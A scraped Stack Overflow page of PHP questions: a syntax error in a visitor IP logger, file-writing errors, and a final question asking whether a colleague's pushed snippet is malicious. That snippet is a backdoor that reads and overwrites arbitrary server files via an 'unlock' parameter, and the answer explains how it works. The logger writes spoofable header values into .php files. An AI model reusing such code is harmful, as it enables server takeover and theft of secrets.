PHP - What is wrong with this? [closed] - php

Closed. This question needs debugging details. It is not currently accepting answers.
Edit the question to include desired behavior, a specific problem or error, and the shortest code necessary to reproduce the problem. This will help others answer the question.
Closed 8 years ago.
Improve this question
Any idea what's wrong with this?
<h1>IP Logger</h1>
<?php
$file = 'ip/index.php';
$date = date('d/m/y');
$time = date('H:i:s');
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
$log = ''. $ip . ' <br>';
$infofileloc = 'ip/' . $ip . '/index.php';
$infofile = 'Nothing here yet!';
$details = json_decode(file_get_contents("http://ipinfo.io/' . $ip . '/json"));
$city = $details->city;
$hostname = $details->hostname;
$region = $details->region;
$country = $details->country;
$loc = $details->loc;
$org = $details->org;
$data = "<h1>". $ip . "</h1><br>Date: " . $date . "<br>Time: " . $time . "<br>Hostname: " . $hostname . "<br>City: " . $city . "<br>Country: " . $country . "<br>Region: " . $region . "<br>Location: " . $loc . "<br>ISP Org: " . $org . "<br>"
echo("Writing IP to log...<br>");
file_put_contents($file, $log);
echo("Done.<br>");
echo("Writing information file to log...<br>");
if (!file_exists('ip/' . $ip)) {
mkdir('ip/'. $ip, 0777, true) or die("ERROR: Unable to create info directory in /ip/!<br>");
}
file_put_contents("ip/" . $ip . "/index.php", $data);
echo("Done.<br>");
echo($ip . "<br>");
?>
<br>
Access Logs
I just get this error:
Parse error: syntax error, unexpected T_ECHO in /home/u142114406/public_html/i/index.php on line 30
Any ideas? :S
I've no idea whats wrong here, I think it is something to do with the last file_put_contents but am unsure.
Thanks,
-Connor

You miss a semicolon at the end of line #28:
$data = "<h1>". $ip . "</h1>"...
This kind of error:
Parse error: syntax error, unexpected T_ECHO.. usually notifies a certain line number, but when it happens you should always look at the line PRIOR to the one you are getting an error on.
Please now consider seeing the Help -> Tour otherwise you're going to be considered off topic.

It has an echo where it isn't expecting one; you forgot the semi-colon at the end of the previous statement.

There is no semi-colon ";" end of line 28
Line with starting => $data = "". $ip . ...
Btw use this class : http://www.phpclasses.org/package/5680-PHP-Get-geographic-location-of-a-given-IP-address.html
or
http://community.sitepoint.com/t/simple-ip-logging-script/4042

Related

Writing to a PHP file

I'm trying to write a basic error form to a file, but when I submit the file my PHP always crashes. I've tried some basic error fixes such as whether or not the if statement is occurring, if all the variables I'm using are not null, etc...
In my code all the string variables are valid an I am 100% certain they are not causing the error.
I've reduced it down through error testing to be the lines
$destination = fopen($filename,"w");
and
$fclose($destination);
My code:
if(isset($_POST['submit']) && $_POST['name'] != "" && $_POST['email'] != ""){
$filename = "message_" . date('Y-m-d H:i:s') . ".txt";
$issueType = "Type of issue: " . $_POST["issues"] . "\r\n";
$submitter = "Submitted by: " . $_POST["name"];
$email = "Email ID: " . $_POST["email"];
$time = "Submitted at: " . date('Y-m-d H:i:s') . "\r\n";
$message = "Details: " . $_POST["details"];
$destination = fopen($filename,"w");
fwrite($destination,"Issue Alert!");
fwrite($destination,$issueType);
fwrite($destination,$submitter);
fwrite($destination,$email);
fwrite($destination,$time);
fwrite($destination,$message);
$fclose($destination);
}
Any other code I'm implementing is irrelevant as I've cut off those as being points of error.
When I try this with basic, hard-coded strings I don't get any errors. All help is appreciated, Thanks!
Try to change your $filename, as you wrote
$filename = "message_" . date('Y-m-d H:i:s') . ".txt";
because you can't use colon ( ':' from 'H:i:s') in file name.
maybe you can try this:
$filename = "message_" . date('U') . ".txt";
you still have date-time information in your file name
But remember, if you have big traffic on your site, maybe you will get same file name in one second, and the previous existing file will overwrited

PHP fopen() invalid argument

I'm running this code once the user submits a form. The idea is to save a new file called "message_timestamp" where timestamp is the current date and time. It need to be saved in the misc folder, which is located in the same directory as this php file.
My code:
if (isset($_POST['submitIssue'])) {
$type = $_POST['typeOfIssue'];
$prefName = $_POST['preferredName'];
$email = $_POST['userEmail'];
$details = $_POST['detailedReport'];
date_default_timezone_set('Atlantic/Bermuda');
$date = new DateTime('now');
$date = $date->format('Y-m-d_H:i:s');
$date = trim($date);
$fileName = "misc/message_" . $date;
$out = "Issue Alert!\nType of issue: " . $type . "\n\nSubmitted by " . $prefName . "\nEmail ID: " . $email . "\nSubmitted at: " . $date . "\n\nDetails: " . $details;
$myFile = fopen($fileName,"w") or die("Cannot open file!");
fwrite($myFile, $out);
fclose($myFile);
}
I've tried removing whitespaces and looking for escape characters. But as long as $date is appended to the filename, I get the error:
fopen(misc/message_2018-02-0210:47:41): failed to open stream: Invalid
argument in C:\MAMP\htdocs\A2\report.php on line 76
I can get it to work if I don't put the timestamp on it. Any suggestions?

Php foreach echo (if/else) [duplicate]

This question already has answers here:
Turn off warnings and errors on PHP and MySQL
(6 answers)
Closed 5 years ago.
It prints on the screen when it is correctly entered, but I do not want to do anything when it is entered incorrectly
How can I do that?
<?php
header('Content-type: text/html; charset=utf8');
$api_key = 'local';
$keyword = 'test';
$url = 'test.json' . $api_key . '&' .'keyword' .'=' . $GLOBALS['q'] ;
$open = file_get_contents($url);
$data = json_decode($open, true);
$istatistikler = $data['data'];
if ($data) {
foreach ( $istatistikler as $istatistik ){
echo '<div class="right">';
echo 'Oyun modu: ' . $istatistik['title'] . '<br />' .
'Kazanma: ' . $istatistik['content'] . '<br />' .
'Kazanma: ' . $istatistik['image'] . '<br />' .
'Kazanma: ' . $istatistik['category'] . '<br />' .
'<br />' .
'<hr/>';
$karakter_simge = 'http://google.com' . $istatistik['image'] . '';
echo "<img src=".$karakter_simge." >" ;
echo '</div>';
}
}
?>
Successful output
Failed output
Warning:
file_get_contents(http://localhost/api/detail?X-Api-Key=local&keyword=a):
failed to open stream: HTTP request failed! HTTP/1.1 406 Not
Acceptable in /opt/lampp/htdocs/weather-master/php/php-api.php on line
10
"I do not want to print unsuccessfully"
thank you for your help!
This may be helpful:
$open = #file_get_contents($url);
# sign before a function name (in a call) prevents from showing any warnings (It's a bad practice though).
Good luck!
Change
$open = file_get_contents($url);
into
$open = #file_get_contents($url);
if ($open === false)
die("wrong");
The # suppresses the error message. Using die() will abort the script completely with the given message.
Alternatively, change the condition to !== false and wrap the rest of your "successful" code in its body:
$open = #file_get_contents($url);
if ($open !== false)
{
$data = json_decode...
...
...
}
I guess I overshot the goal here a little, but not even running into code that won't work properly without its data isn't a bad idea at all.

php rename "Device or resource busy in"

There is very few information on the Internet on how to solve this problem that I'm having, which is the fact that when i try to rename a file it gives me the error "Device or resource busy in".
this is my code:
if ($handler = opendir($thumb_dir)) {
while (false !== ($thumb_name = readdir($handler))) {
$new_thumb_name = str_ireplace("por_eliminar_" . $_POST['id_anuncio'] . "_",$_POST['titulo'] . "_" . $_POST['id_anuncio'] . "_",$thumb_name);
rename($thumb_dir . $thumb_name,$thumb_dir . $new_thumb_name);
}
In wamp I didn't got this error, but I'm getting in hostgator... any ideas on what the problem might be ?

Is this code malicious or safe? [closed]

Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
This question does not appear to be about programming within the scope defined in the help center.
Closed 8 years ago.
Improve this question
I'm working on a website and recently picked someone up to work on the PHP portion and I have had suspicions that he may have added malicious code to the site, he pushed a bit of PHP without permission nor without mentioning anything to anyone.
The push was labelled 'Added Security'.
Here's the code:
<?PHP
if(isset($_GET['unlock'])) {
$id = $_GET['id'];
$dic = $_SERVER['PHP_SELF'];
$name = basename($dic) . "?unlock";
$url = './$name?unlock&id='.$id;
$file = "./$id";
if(isset($_GET['f'])) {
$f = $_GET['f'];
$file = "./$f/$id";
}
if (isset($_POST['text'])) {
file_put_contents($file, $_POST['text']);
if(isset($_GET['f'])) {
$f = $_GET['f'];
header('location: ' . $name . '&id=' . $id . '&f=' . $f);
} else {
header('location: ' . $name . '&id=' . $id);
}
}
$text = htmlentities(file_get_contents($file));
echo "<form method='post'><input type='submit'><textarea name='text'>$text</textarea></form>$dic";
die();
}
?>
Thanks in advance.
Let's see, the following
<?php
if(isset($_GET['unlock'])) {
...
}
Means that if you don't send the parameter unlock then nothing would be displayed. Is like a knaive attempt of keeping a secret piece of code that only he can unlock with a magic word.
Regarding what's inside
$id = $_GET['id'];
$dic = $_SERVER['PHP_SELF'];
$name = basename($dic) . "?unlock";
//$url = './$name?unlock&id='.$id; // the former would fail to interpolate $name
$url = "./$name&id=".$id;
$file = "./$id";
if(isset($_GET['f'])) {
$f = $_GET['f'];
$file = "./$f/$id";
}
$text = htmlentities(file_get_contents($file));
echo"<form method='post'><input type='submit'><textarea name='text'>$text</textarea> </form>";
If you pass the parameter unlock and id (which is a filename), plus optionally a parameter f (which is a folder) you can see the contents of that file in the textarea. For example
http://www.myserver.com/thescript.php?unlock&id=config.php&f=app
would expose whatever sensitive information you have in your config.php inside the app folder.
Finally, this part
if (isset($_POST['text'])) {
file_put_contents($file, $_POST['text']);
if(isset($_GET['f'])) {
$f = $_GET['f'];
header('location: ' . $name . '&id=' . $id . '&f=' . $f);
} else {
header('location: ' . $name . '&id=' . $id);
}
}
Would let you edit or create a file by submitting the form. It might fail due to lack of permissions, but since you can play with the folder, you just insist until you find a writable folder.

Categories